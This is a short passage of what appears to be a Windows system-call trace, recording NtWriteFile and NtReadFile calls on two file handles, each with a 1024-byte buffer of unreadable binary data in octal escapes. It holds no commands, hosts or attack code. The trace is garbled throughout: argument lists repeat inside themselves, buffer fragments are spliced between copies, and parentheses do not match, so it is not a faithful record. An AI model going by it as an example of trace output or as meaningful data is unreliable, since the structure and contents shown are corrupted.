 01341  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "=\230\266\234n\2379fh,xF\235m\205\36\273\320\2\10\17SE\333\340Fb\217>\273\15dd^m\356g#\342\362\26))\1[\363\346L\260\205\3438\221A\374P\241x\352\300+\230\265kF\210hv\365\304\27v\3\15\27\204\342\332)Q\20\227\320\3739\13\375 \4`8\200\257J\16m\21(\32d\24j\306\207m\356\312\230ZOC\260O\264\254\21$N\342\225\235\353\265c\326\343R\178\255\273A\307DA\247\352Q\304\16\247u\23\270\351\5\332m\263\340\312\317G.\17\3375\342\266\21\10"\372\327\313\3jmt?\261\266\266*\207\348\2336w\232#\355\242l\212=\323X\35c\222\31\32\265\333\2624\27\260S\10\20247S!7\2123\202\222\214r\4MBz|\201jS\262Z\277\261\0\323L\224\227\230\217\26k\215\220\341\6*4\256c*L\225\253\310\255\367{V\223\236n\200\313];|8\24A\344\246\213R\310Eh\227\363\306FW\32W9T\213n\34\36I\340\203\24\372j#\347 cJ\377tZ7\16\15\301\345\34\200\210\342\232B\234\221\372\255\\312\223\35\6\3159B\303FmT>_\201j\3261\22\327\361}z\367(\3643\322_+}\34\351M\246A\206\33\202p\26\344f\32\276\0:\202\206\253rm\376\223m\245\271\1Q/\263\26\225\3116\363\363\225\2325\367\270\344)\364?\261\24\30k\240\242\235t|\320\322\334\371\321\355\34\352D\306\33`\34"R\233\253\346l\216o\36+\326\312vm]\33\2N\233\7\6\357\3u\270\336rG\352V\201\342\277\4\377\300\304\342BS\6~\0]\21\247>\340\347\237:\306\302\331V\235N\16\305\203-\262U'\341_\214=j \212\316pK\3135&\303\212\326>\262\245:%V\313\1dH", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \372\327\313\3jmt?\261\266\266*\207\348\2336w\232#\355\242l\212=\323X\35c\222\31\32\265\333\2624\27\260S\10\20247S!7\2123\202\222\214r\4MBz|\201jS\262Z\277\261\0\323L\224\227\230\217\26k\215\220\341\6*4\256c*L\225\253\310\255\367{V\223\236n\200\313];|8\24A\344\246\213R\310Eh\227\363\306FW\32W9T\213n\34\36I\340\203\24\372j#\347 cJ\377tZ7\16\15\301\345\34\200\210\342\232B\234\221\372\255\\312\223\35\6\3159B\303FmT>_\201j\3261\22\327\361}z\367(\3643\322_+}\34\351M\246A\206\33\202p\26\344f\32\276\0:\202\206\253rm\376\223m\245\271\1Q/\263\26\225\3116\363\363\225\2325\367\270\344)\364?\261\24\30k\240\242\235t|\320\322\334\371\321\355\34\352D\306\33`\34 (92, 0, 0, 0, "=\230\266\234n\2379fh,xF\235m\205\36\273\320\2\10\17SE\333\340Fb\217>\273\15dd^m\356g#\342\362\26))\1[\363\346L\260\205\3438\221A\374P\241x\352\300+\230\265kF\210hv\365\304\27v\3\15\27\204\342\332)Q\20\227\320\3739\13\375 \4`8\200\257J\16m\21(\32d\24j\306\207m\356\312\230ZOC\260O\264\254\21$N\342\225\235\353\265c\326\343R\178\255\273A\307DA\247\352Q\304\16\247u\23\270\351\5\332m\263\340\312\317G.\17\3375\342\266\21\10"\372\327\313\3jmt?\261\266\266*\207\348\2336w\232#\355\242l\212=\323X\35c\222\31\32\265\333\2624\27\260S\10\20247S!7\2123\202\222\214r\4MBz|\201jS\262Z\277\261\0\323L\224\227\230\217\26k\215\220\341\6*4\256c*L\225\253\310\255\367{V\223\236n\200\313];|8\24A\344\246\213R\310Eh\227\363\306FW\32W9T\213n\34\36I\340\203\24\372j#\347 cJ\377tZ7\16\15\301\345\34\200\210\342\232B\234\221\372\255\\312\223\35\6\3159B\303FmT>_\201j\3261\22\327\361}z\367(\3643\322_+}\34\351M\246A\206\33\202p\26\344f\32\276\0:\202\206\253rm\376\223m\245\271\1Q/\263\26\225\3116\363\363\225\2325\367\270\344)\364?\261\24\30k\240\242\235t|\320\322\334\371\321\355\34\352D\306\33`\34"R\233\253\346l\216o\36+\326\312vm]\33\2N\233\7\6\357\3u\270\336rG\352V\201\342\277\4\377\300\304\342BS\6~\0]\21\247>\340\347\237:\306\302\331V\235N\16\305\203-\262U'\341_\214=j \212\316pK\3135&\303\212\326>\262\245:%V\313\1dH", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01342  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "o/;r0"q59t60lx:\200\377\30G\331\274\275\\36\270t`"\260g'\267j(\246\211,\245{\2150\265\2203\264\2276K\2329vn\236=\36\235\338\277\367\2021&\3341%\202\377*(\241\343\224\376.bR!\305\322\365\3370\346\3711\263m9\173n\13\36}H\317t~|~\240sr\260L\326~\324#-!/?1=3;597795;\3032>0\33\23\35\21b\322!\200P\320%?\317E\333*\227\330-f5\330l\30031=\3057#-\322v\316=p\313\33\0\365#Z\322!\265\327$8\316\12\332)\312\272\330-0\307-\3032\32=\3066\37'\3217\311cg\247b\\331\355*-/\353\1\232\215@\211+3\202&\225\202%\216\337\\350\244\2\202\16\2030\225\2723\26\2726((\2j#\(~o'\215p$\333\333Iu/z>\330(b5`\363\32\335\267\276!\252\206\334)\304#\322(\210*\326\216-(*\2611\15&\370\371\227\247\37598:jjn\327(\14\10^/\a\20\323E\37\320R"$\12\3x\355\15\2171[3\272J\5"\337n%^SF\210\326\265\372\37\30\326\331=,\312\356\247!\204\327\257 &\303\225\356*\1702c\3670>\336\222\373=\342\37457*\327\212\337\31\26\330)(\312^a\346"\37\357-"\303E\354*ct\25Z702\336o;0\302j\277++>\273\33F;l}!'\34$\32\31')\33\32\33\37m.+ha21\244\678=w~", ) q59t60lx:\200\377\30G\331\274\275\\36\270t` (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "o/;r0"q59t60lx:\200\377\30G\331\274\275\\36\270t`"\260g'\267j(\246\211,\245{\2150\265\2203\264\2276K\2329vn\236=\36\235\338\277\367\2021&\3341%\202\377*(\241\343\224\376.bR!\305\322\365\3370\346\3711\263m9\173n\13\36}H\317t~|~\240sr\260L\326~\324#-!/?1=3;597795;\3032>0\33\23\35\21b\322!\200P\320%?\317E\333*\227\330-f5\330l\30031=\3057#-\322v\316=p\313\33\0\365#Z\322!\265\327$8\316\12\332)\312\272\330-0\307-\3032\32=\3066\37'\3217\311cg\247b\\331\355*-/\353\1\232\215@\211+3\202&\225\202%\216\337\\350\244\2\202\16\2030\225\2723\26\2726((\2j#\(~o'\215p$\333\333Iu/z>\330(b5`\363\32\335\267\276!\252\206\334)\304#\322(\210*\326\216-(*\2611\15&\370\371\227\247\37598:jjn\327(\14\10^/\a\20\323E\37\320R"$\12\3x\355\15\2171[3\272J\5"\337n%^SF\210\326\265\372\37\30\326\331=,\312\356\247!\204\327\257 &\303\225\356*\1702c\3670>\336\222\373=\342\37457*\327\212\337\31\26\330)(\312^a\346"\37\357-"\303E\354*ct\25Z702\336o;0\302j\277++>\273\33F;l}!'\34$\32\31')\33\32\33\37m.+ha21\244\678=w~", ) cg\247b\\331\355*-/\353\1\232\215@\211+3\202&\225\202%\216\337\\350\244\2\202\16\2030\225\2723\26\2726((\2j#\(~o'\215p$\333\333Iu/z>\330(b5`\363\32\335\267\276!\252\206\334)\304#\322(\210*\326\216-(*\2611\15&\370\371\227\247\37598:jjn\327(\14\10^/\a\20\323E\37\320R (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "o/;r0"q59t60lx:\200\377\30G\331\274\275\\36\270t`"\260g'\267j(\246\211,\245{\2150\265\2203\264\2276K\2329vn\236=\36\235\338\277\367\2021&\3341%\202\377*(\241\343\224\376.bR!\305\322\365\3370\346\3711\263m9\173n\13\36}H\317t~|~\240sr\260L\326~\324#-!/?1=3;597795;\3032>0\33\23\35\21b\322!\200P\320%?\317E\333*\227\330-f5\330l\30031=\3057#-\322v\316=p\313\33\0\365#Z\322!\265\327$8\316\12\332)\312\272\330-0\307-\3032\32=\3066\37'\3217\311cg\247b\\331\355*-/\353\1\232\215@\211+3\202&\225\202%\216\337\\350\244\2\202\16\2030\225\2723\26\2726((\2j#\(~o'\215p$\333\333Iu/z>\330(b5`\363\32\335\267\276!\252\206\334)\304#\322(\210*\326\216-(*\2611\15&\370\371\227\247\37598:jjn\327(\14\10^/\a\20\323E\37\320R"$\12\3x\355\15\2171[3\272J\5"\337n%^SF\210\326\265\372\37\30\326\331=,\312\356\247!\204\327\257 &\303\225\356*\1702c\3670>\336\222\373=\342\37457*\327\212\337\31\26\330)(\312^a\346"\37\357-"\303E\354*ct\25Z702\336o;0\302j\277++>\273\33F;l}!'\34$\32\31')\33\32\33\37m.+ha21\244\678=w~", ) \337n%^SF\210\326\265\372\37\30\326\331=,\312\356\247!\204\327\257 &\303\225\356*\1702c\3670>\336\222\373=\342\37457*\327\212\337\31\26\330)(\312^a\346 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "o/;r0"q59t60lx:\200\377\30G\331\274\275\\36\270t`"\260g'\267j(\246\211,\245{\2150\265\2203\264\2276K\2329vn\236=\36\235\338\277\367\2021&\3341%\202\377*(\241\343\224\376.bR!\305\322\365\3370\346\3711\263m9\173n\13\36}H\317t~|~\240sr\260L\326~\324#-!/?1=3;597795;\3032>0\33\23\35\21b\322!\200P\320%?\317E\333*\227\330-f5\330l\30031=\3057#-\322v\316=p\313\33\0\365#Z\322!\265\327$8\316\12\332)\312\272\330-0\307-\3032\32=\3066\37'\3217\311cg\247b\\331\355*-/\353\1\232\215@\211+3\202&\225\202%\216\337\\350\244\2\202\16\2030\225\2723\26\2726((\2j#\(~o'\215p$\333\333Iu/z>\330(b5`\363\32\335\267\276!\252\206\334)\304#\322(\210*\326\216-(*\2611\15&\370\371\227\247\37598:jjn\327(\14\10^/\a\20\323E\37\320R"$\12\3x\355\15\2171[3\272J\5"\337n%^SF\210\326\265\372\37\30\326\331=,\312\356\247!\204\327\257 &\303\225\356*\1702c\3670>\336\222\373=\342\37457*\327\212\337\31\26\330)(\312^a\346"\37\357-"\303E\354*ct\25Z702\336o;0\302j\277++>\273\33F;l}!'\34$\32\31')\33\32\33\37m.+ha21\244\678=w~", ) \303E\354*ct\25Z702\336o;0\302j\277++>\273\33F;l}!'\34$\32\31')\33\32\33\37m.+ha21\244\678=w~7\7\13\34\37PK\300!\27#&\245\13EI@*/\1M\10'CGQ\223.\30CG\9\322\232\?\216>", ) == 0x0
 01343  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "k\10\225;`\263\347\351[\335\10\270\326\12M\16*;\234\356M\254\312!(a\372\361\231'w.\355\1xI\272\31\12\377\272\36\211k.\210\333o\14\223C\270f(\345N\255\\0\242\274\377\352\2024r\241\2350\14\304\16<\340M&t=\307I-\231\2073\344\253L\246\325\202\354\257]\5N\2427\\355r\371\32\201\264+\356L\336\271p\371\276i\244\313\200'U\347\220\352\275\246\256&\35s\345-G\323\27\232rk\25\355\33G\4\332`Q9\234\20\321\37\265\335n>\345\333\334\34\345\317xR\21*\323_\355\300\222\255\253\262nf\1'\330\246b6,\3217U_0\274ohMT\216\204\5\253\242i\222\224\6\307uU\225\307x2>\303\300\276\302\275\243\276\323\14\17\354\270\254%G$\370\3\234?\277\240\212\200\2\366\14>\235\361>\347K\27\252\26745V\3\261;\250\3172\363+\=\33,,\203\346\316\253\25yf\373\3@K\300\260\254~k\301\253\23\272\355Y\236\233\355*n\327Z#U\247\15\260\315o\3;dU\343\303\275\266]{Y\352\230\327\371\262\223\2021\373V$\341e9\343GV\265Q\326\225\231R\23g@"\227\364\357"X\347\21\234\234\2tq\25\307\13\201\347\201m\211\362=\271\31\347\375\271\206\274:"\247\300\322x\341\266|=+\31\323|]\247\244O\275:\3456\352|\370\344\247\222\205\204I\335\363\221\3769\7\15\365\240\320\366\23\273\312\226A&\32\264sH\263\364,[d\312\352\370\31W\376\335\26R\234\231\12BsFw\34a\33\373\311\12", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \347\220\352\275\246\256&\35s\345-G\323\27\232rk\25\355\33G\4\332`Q9\234\20\321\37\265\335n>\345\333\334\34\345\317xR\21*\323_\355\300\222\255\253\262nf\1'\330\246b6,\3217U_0\274ohMT\216\204\5\253\242i\222\224\6\307uU\225\307x2>\303\300\276\302\275\243\276\323\14\17\354\270\254%G$\370\3\234?\277\240\212\200\2\366\14>\235\361>\347K\27\252\26745V\3\261;\250\3172\363+\=\33,,\203\346\316\253\25yf\373\3@K\300\260\254~k\301\253\23\272\355Y\236\233\355*n\327Z#U\247\15\260\315o\3;dU\343\303\275\266]{Y\352\230\327\371\262\223\2021\373V$\341e9\343GV\265Q\326\225\231R\23g@ (92, 0, 0, 0, "k\10\225;`\263\347\351[\335\10\270\326\12M\16*;\234\356M\254\312!(a\372\361\231'w.\355\1xI\272\31\12\377\272\36\211k.\210\333o\14\223C\270f(\345N\255\\0\242\274\377\352\2024r\241\2350\14\304\16<\340M&t=\307I-\231\2073\344\253L\246\325\202\354\257]\5N\2427\\355r\371\32\201\264+\356L\336\271p\371\276i\244\313\200'U\347\220\352\275\246\256&\35s\345-G\323\27\232rk\25\355\33G\4\332`Q9\234\20\321\37\265\335n>\345\333\334\34\345\317xR\21*\323_\355\300\222\255\253\262nf\1'\330\246b6,\3217U_0\274ohMT\216\204\5\253\242i\222\224\6\307uU\225\307x2>\303\300\276\302\275\243\276\323\14\17\354\270\254%G$\370\3\234?\277\240\212\200\2\366\14>\235\361>\347K\27\252\26745V\3\261;\250\3172\363+\=\33,,\203\346\316\253\25yf\373\3@K\300\260\254~k\301\253\23\272\355Y\236\233\355*n\327Z#U\247\15\260\315o\3;dU\343\303\275\266]{Y\352\230\327\371\262\223\2021\373V$\341e9\343GV\265Q\326\225\231R\23g@"\227\364\357"X\347\21\234\234\2tq\25\307\13\201\347\201m\211\362=\271\31\347\375\271\206\274:"\247\300\322x\341\266|=+\31\323|]\247\244O\275:\3456\352|\370\344\247\222\205\204I\335\363\221\3769\7\15\365\240\320\366\23\273\312\226A&\32\264sH\263\364,[d\312\352\370\31W\376\335\26R\234\231\12BsFw\34a\33\373\311\12", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) X\347\21\234\234\2tq\25\307\13\201\347\201m\211\362=\271\31\347\375\271\206\274: (92, 0, 0, 0, "k\10\225;`\263\347\351[\335\10\270\326\12M\16*;\234\356M\254\312!(a\372\361\231'w.\355\1xI\272\31\12\377\272\36\211k.\210\333o\14\223C\270f(\345N\255\\0\242\274\377\352\2024r\241\2350\14\304\16<\340M&t=\307I-\231\2073\344\253L\246\325\202\354\257]\5N\2427\\355r\371\32\201\264+\356L\336\271p\371\276i\244\313\200'U\347\220\352\275\246\256&\35s\345-G\323\27\232rk\25\355\33G\4\332`Q9\234\20\321\37\265\335n>\345\333\334\34\345\317xR\21*\323_\355\300\222\255\253\262nf\1'\330\246b6,\3217U_0\274ohMT\216\204\5\253\242i\222\224\6\307uU\225\307x2>\303\300\276\302\275\243\276\323\14\17\354\270\254%G$\370\3\234?\277\240\212\200\2\366\14>\235\361>\347K\27\252\26745V\3\261;\250\3172\363+\=\33,,\203\346\316\253\25yf\373\3@K\300\260\254~k\301\253\23\272\355Y\236\233\355*n\327Z#U\247\15\260\315o\3;dU\343\303\275\266]{Y\352\230\327\371\262\223\2021\373V$\341e9\343GV\265Q\326\225\231R\23g@"\227\364\357"X\347\21\234\234\2tq\25\307\13\201\347\201m\211\362=\271\31\347\375\271\206\274:"\247\300\322x\341\266|=+\31\323|]\247\244O\275:\3456\352|\370\344\247\222\205\204I\335\363\221\3769\7\15\365\240\320\366\23\273\312\226A&\32\264sH\263\364,[d\312\352\370\31W\376\335\26R\234\231\12BsFw\34a\33\373\311\12", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01344  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "m\340&\33!\31#\27-R!|o\240k\2229\313273\13\7K?\245|\28\0\35#\33+\31bd\2%%\3646\16-\26J"vM\20\257\20\31\177[\24414};;\7S\226\261:=!\37\373\336\4?\342>\234uNW\11*\10_\17\353\177K\2045w\354\366\354A\313\307\306\261\271\340\177={\12\11\177\257rq rdc\67\272..u\16n\340\307\256\2712 \2065)2N\375b3\374Y\276s?\NH\367\27\320\1+\220\1J7)\250\324#(<\356^\277\2001S_\251\22C\251x8x4\0|>\234\200]\37.q\301\26\313!5\266.\226\252;/\241i\256\13(a\271\374\334\222\227Dx1\267o\30)\267/\31N\10\16\36{\2411s\304'2\317\21\10jz\250\355Ze\2022v\255m\2644\337H\270h\312<\11\317?\33\34\34\233\337T)\2513%-p7 \221\303E-C.)\232G64Z\3216Q\3349d\331<\225\206\326\230\370\34P\373 g\306#\216\33\302'\36\315*\5("\10.?\3Z1;\353\203hc::\203\304\20<9\265\32\33\276\254\306\201f"\37\314\313b)\241z\302\316h/J\331\346r2\0\215\346\3652\266\367171\207P^\32\21\275\372'\7\313\273#)\253\262/%\250, Z/#\30"3?v\32!;\265\264\222\325<\5u\224\233\31Y\37_\254\311\214!K\2\200\27\300\342\16\210moR\243\24\24120q:\3044\270\3\276G\267\10:\344\31\35\231vwa4\335\365Li\302'r\5\316+$\316.l'uv8)\231\336\20281\333/\373><\300\33\34\31\325(\364\26\371\24{\35L\37R\21U\23\241\25\275\27\227\11\213\13", ) vM\20\257\20\31\177[\24414};;\7S\226\261:=!\37\373\336\4?\342>\234uNW\11*\10_\17\353\177K\2045w\354\366\354A\313\307\306\261\271\340\177={\12\11\177\257rq rdc\67\272..u\16n\340\307\256\2712 \2065)2N\375b3\374Y\276s?\NH\367\27\320\1+\220\1J7)\250\324#(<\356^\277\2001S_\251\22C\251x8x4\0|>\234\200]\37.q\301\26\313!5\266.\226\252;/\241i\256\13(a\271\374\334\222\227Dx1\267o\30)\267/\31N\10\16\36{\2411s\304'2\317\21\10jz\250\355Ze\2022v\255m\2644\337H\270h\312<\11\317?\33\34\34\233\337T)\2513%-p7 \221\303E-C.)\232G64Z\3216Q\3349d\331<\225\206\326\230\370\34P\373 g\306#\216\33\302'\36\315*\5( (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "m\340&\33!\31#\27-R!|o\240k\2229\313273\13\7K?\245|\28\0\35#\33+\31bd\2%%\3646\16-\26J"vM\20\257\20\31\177[\24414};;\7S\226\261:=!\37\373\336\4?\342>\234uNW\11*\10_\17\353\177K\2045w\354\366\354A\313\307\306\261\271\340\177={\12\11\177\257rq rdc\67\272..u\16n\340\307\256\2712 \2065)2N\375b3\374Y\276s?\NH\367\27\320\1+\220\1J7)\250\324#(<\356^\277\2001S_\251\22C\251x8x4\0|>\234\200]\37.q\301\26\313!5\266.\226\252;/\241i\256\13(a\271\374\334\222\227Dx1\267o\30)\267/\31N\10\16\36{\2411s\304'2\317\21\10jz\250\355Ze\2022v\255m\2644\337H\270h\312<\11\317?\33\34\34\233\337T)\2513%-p7 \221\303E-C.)\232G64Z\3216Q\3349d\331<\225\206\326\230\370\34P\373 g\306#\216\33\302'\36\315*\5("\10.?\3Z1;\353\203hc::\203\304\20<9\265\32\33\276\254\306\201f"\37\314\313b)\241z\302\316h/J\331\346r2\0\215\346\3652\266\367171\207P^\32\21\275\372'\7\313\273#)\253\262/%\250, Z/#\30"3?v\32!;\265\264\222\325<\5u\224\233\31Y\37_\254\311\214!K\2\200\27\300\342\16\210moR\243\24\24120q:\3044\270\3\276G\267\10:\344\31\35\231vwa4\335\365Li\302'r\5\316+$\316.l'uv8)\231\336\20281\333/\373><\300\33\34\31\325(\364\26\371\24{\35L\37R\21U\23\241\25\275\27\227\11\213\13", ) \37\314\313b)\241z\302\316h/J\331\346r2\0\215\346\3652\266\367171\207P^\32\21\275\372'\7\313\273#)\253\262/%\250, Z/#\30 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "m\340&\33!\31#\27-R!|o\240k\2229\313273\13\7K?\245|\28\0\35#\33+\31bd\2%%\3646\16-\26J"vM\20\257\20\31\177[\24414};;\7S\226\261:=!\37\373\336\4?\342>\234uNW\11*\10_\17\353\177K\2045w\354\366\354A\313\307\306\261\271\340\177={\12\11\177\257rq rdc\67\272..u\16n\340\307\256\2712 \2065)2N\375b3\374Y\276s?\NH\367\27\320\1+\220\1J7)\250\324#(<\356^\277\2001S_\251\22C\251x8x4\0|>\234\200]\37.q\301\26\313!5\266.\226\252;/\241i\256\13(a\271\374\334\222\227Dx1\267o\30)\267/\31N\10\16\36{\2411s\304'2\317\21\10jz\250\355Ze\2022v\255m\2644\337H\270h\312<\11\317?\33\34\34\233\337T)\2513%-p7 \221\303E-C.)\232G64Z\3216Q\3349d\331<\225\206\326\230\370\34P\373 g\306#\216\33\302'\36\315*\5("\10.?\3Z1;\353\203hc::\203\304\20<9\265\32\33\276\254\306\201f"\37\314\313b)\241z\302\316h/J\331\346r2\0\215\346\3652\266\367171\207P^\32\21\275\372'\7\313\273#)\253\262/%\250, Z/#\30"3?v\32!;\265\264\222\325<\5u\224\233\31Y\37_\254\311\214!K\2\200\27\300\342\16\210moR\243\24\24120q:\3044\270\3\276G\267\10:\344\31\35\231vwa4\335\365Li\302'r\5\316+$\316.l'uv8)\231\336\20281\333/\373><\300\33\34\31\325(\364\26\371\24{\35L\37R\21U\23\241\25\275\27\227\11\213\13", ) , ) == 0x0
 01345  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "+\267\214\220p]\367\255\361\267\246F\270\264\35w\375\334\216uy\304\3750\225\4\334\323\236z\216\15\270\3342l\3\353\205\252\244\305\7\370\17^\329\331\345\335\336E\206\363\303\210\372R\13X-\270\34QS\311\350\375\234`\230\320[6\12\253\333\251\243\233<\344\26?\331\364t\302U\231\3\274\300\327\240i\364L\27\217$\206\213\224\210}@Ay\206\227"\315\227\31243)\264\340\244\276o\204\357\255\355\366T\366\351L\303,+!e\272\250E\31\265y\370"\2\371\216H\2\359\15\373,e\316\240T}g`\33\25\274\360\225\303\305\15\343\240ar\22\352S\266y\257e8fMH\2072\241\4\233\335\232\332\207\361\200\326\360\3235T\317\225<\321d\263#J=\27\340\20\266\255\243[er\36QnX\373\213\356\337b\232Y\254+\366\277\367&>\260\23m\307\321x\376\274\23\276\201\245\303\4\322{/eb\15<\27\242\243\346\355\365\0\206\271I@\250\207\10\320\252\273\272\247\336J\24\6\346E\335\244\32\322\325\323\265\256\362/\354\4\3437\357\261gG\244h\30VX\37?\356\32\224L\354\304\34\334@\254\331\357\310v 6-\222;#6]BT\316\376=\241\253\6!a\265\22\372\30V\326Db\345\253O\320\6\231\21\22\375\226_]\3708\245\306\12\233\31\222\257qj\320\275\212#>\373,1\303\146\235~U\221\11\343J+\15\232\0_\341V\3405\12G\363n0t\271\233\205\346\201S\343\205^\370V\310\365\271\214i\221\327\322\3p\16T\243\216\242/\14\260\213\3505(>\221b .\37\300\3732\277\312\232t\26\177\212A\12\226\234\331I_\\365o\16iHb\211\242\223Z\2154/\200R\206\204\361\362\364\364i1c.\31\205K2I\246Q\36\220\21\367\236", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \315\227\31243)\264\340\244\276o\204\357\255\355\366T\366\351L\303,+!e\272\250E\31\265y\370 (92, 0, 0, 0, "+\267\214\220p]\367\255\361\267\246F\270\264\35w\375\334\216uy\304\3750\225\4\334\323\236z\216\15\270\3342l\3\353\205\252\244\305\7\370\17^\329\331\345\335\336E\206\363\303\210\372R\13X-\270\34QS\311\350\375\234`\230\320[6\12\253\333\251\243\233<\344\26?\331\364t\302U\231\3\274\300\327\240i\364L\27\217$\206\213\224\210}@Ay\206\227"\315\227\31243)\264\340\244\276o\204\357\255\355\366T\366\351L\303,+!e\272\250E\31\265y\370"\2\371\216H\2\359\15\373,e\316\240T}g`\33\25\274\360\225\303\305\15\343\240ar\22\352S\266y\257e8fMH\2072\241\4\233\335\232\332\207\361\200\326\360\3235T\317\225<\321d\263#J=\27\340\20\266\255\243[er\36QnX\373\213\356\337b\232Y\254+\366\277\367&>\260\23m\307\321x\376\274\23\276\201\245\303\4\322{/eb\15<\27\242\243\346\355\365\0\206\271I@\250\207\10\320\252\273\272\247\336J\24\6\346E\335\244\32\322\325\323\265\256\362/\354\4\3437\357\261gG\244h\30VX\37?\356\32\224L\354\304\34\334@\254\331\357\310v 6-\222;#6]BT\316\376=\241\253\6!a\265\22\372\30V\326Db\345\253O\320\6\231\21\22\375\226_]\3708\245\306\12\233\31\222\257qj\320\275\212#>\373,1\303\146\235~U\221\11\343J+\15\232\0_\341V\3405\12G\363n0t\271\233\205\346\201S\343\205^\370V\310\365\271\214i\221\327\322\3p\16T\243\216\242/\14\260\213\3505(>\221b .\37\300\3732\277\312\232t\26\177\212A\12\226\234\331I_\\365o\16iHb\211\242\223Z\2154/\200R\206\204\361\362\364\364i1c.\31\205K2I\246Q\36\220\21\367\236", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01346  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "998\246\118[\31\37>4e B-T`'gh(/c\231l.\177q1i\261\0\275\2\271\14\242\16\233\10\220\12\211/\242)\354+\330\25.\265\20<\22\10\34\207\36\367\30\234\31\212\7\344\5\350\3\330\1\314\17l\14\204\12\355\10\262$\251&\311\30\375\32\305\34\327\36\333\20.\23B\25\353\27\11\132\2623\20\335r\313\361\273:o\324\316\275?\7X\365\364\234 e\312\302\247%\32c\300\361\251+\0\305\341\2570[j7\e\207\261\2528\347:=>*WC\32\34\323\274"\25\312E\257\365L\245(\351\3529\225-/%\275\274\2k\334\216\247;\244GD\33\177\375~\37\34\364\331\16\33\1P.$&%$\227-\31\302\211\305\234,c\24)1;9\254\241\355\321-*!?\236#\335\230\314\35'.\311f\341.\365&\226>\301An\34~{yg1\213\1446\5\367\265E:\37\5\373z\33#\34\34\336\354\213G\211\250\240%D':9z\303L\260.S\274\25v2\2653\277s\34%k\323s\14\2777\2478Q\237\27\240\246\21\3701%-3\251\241\16\3#\250\245o4\7\326eAN&a\320\311;_jHM\264\33R\21_\224\341\250l/\244\30\331\330\327V_z.u(\377\32027k;c\336h\310:\j\335j*\264E\206\306ww\250|'\265\33\346$I`ho,/\357\24`\7\2\341\1744p\309_Oh^Nk\23}\177r\257gHRKHuVFX@\231\26\363\357/F\360RYp[@X\327h\31\15{xXRZoy\375$z\265Q~\342\325$u%\243a:\13\256->\244x%\267\372A%\262\337\307\371\20\260l\25\267\277\212\34\366\34,\337wH'w%\25\347", ) \25\312E\257\365L\245(\351\3529\225-/%\275\274\2k\334\216\247;\244GD\33\177\375~\37\34\364\331\16\33\1P.$&%$\227-\31\302\211\305\234,c\24)1;9\254\241\355\321-*!?\236#\335\230\314\35'.\311f\341.\365&\226>\301An\34~{yg1\213\1446\5\367\265E:\37\5\373z\33#\34\34\336\354\213G\211\250\240%D':9z\303L\260.S\274\25v2\2653\277s\34%k\323s\14\2777\2478Q\237\27\240\246\21\3701%-3\251\241\16\3#\250\245o4\7\326eAN&a\320\311;_jHM\264\33R\21_\224\341\250l/\244\30\331\330\327V_z.u(\377\32027k;c\336h\310:\j\335j*\264E\206\306ww\250|'\265\33\346$I`ho,/\357\24`\7\2\341\1744p\309_Oh^Nk\23}\177r\257gHRKHuVFX@\231\26\363\357/F\360RYp[@X\327h\31\15{xXRZoy\375$z\265Q~\342\325$u%\243a:\13\256->\244x%\267\372A%\262\337\307\371\20\260l\25\267\277\212\34\366\34,\337wH'w%\25\347", ) == 0x0
 01347  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "&%\326~\215\317\7lb\344\361\225\371\3205\11\314P\256\33\206\316c\27Xu4\34\357\242C\245\3\315\356\253<\21C\200\244=I\244\15\1\362\216\364\247\352\364{/0W\232\364K4\234\340F\344\111Y\251cW\350\232L\314-\2363\201~\232}\243F\325\200\0)\1L\15\21\270\214\200x1\203\267`9\21\326\304\25\2024\313W\315\334\236\220\261r\222\201\241\236\236?KA1\237#8\10\202\356\267,s\312\362\\255\325\334%\306\243\304\244K\310s6\3016a\313\11\231\12r\264\212\351\230e\22\264ODW7Y\310\225\217\13\14fK$\323i\341\306Q\36Qn\242j\31\301\177\3176J\272\302S$O~/^\236we&\326\200^{b\3074X\205\217\242\2041"\332\4o&V\234v.\264_{\30'U\221\353\352X\354\234\16\333R\246\342,Ud\13\223O\202\233\275E\361\331)\236\36\177#\347&"`\341\236aXSF\344_\305\5S+/\347\35\320l\17H\2652\23\\255-?\13%J"j\320\233\276\276\272\237\177\251\320o\243a\32\327w\332'3\371*\210\36\310N\326:\370\340\343{/V\226?\304\343P\2011\267\216\200\35\333\301\1\254\207\370A\300X;\257\1Q\223\246\23\320\350J\222\331\311\317tu\350\274\324\2360%\352W\355*\3609\2548\15\346\2441&\323\241\277\366C\244\352\272E\313,9]-\245\377'\225U$I\314/\246\26\276\20\251\4\307\272\332\23\346\313\375\217+\366\354g\230\304\252L\353\25\33;\217mR\0\235!`\345\31\334\1\371\274\314\351\336w\23\205O\303\221\265\21\200)\32"'\233\201\264\224\247\307\17\343\332Y\367p\325\325U\270\330\274\11\216$\231X\375\352\360\11\360\263\333\35\254B0\0!\221M\252@\36", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) 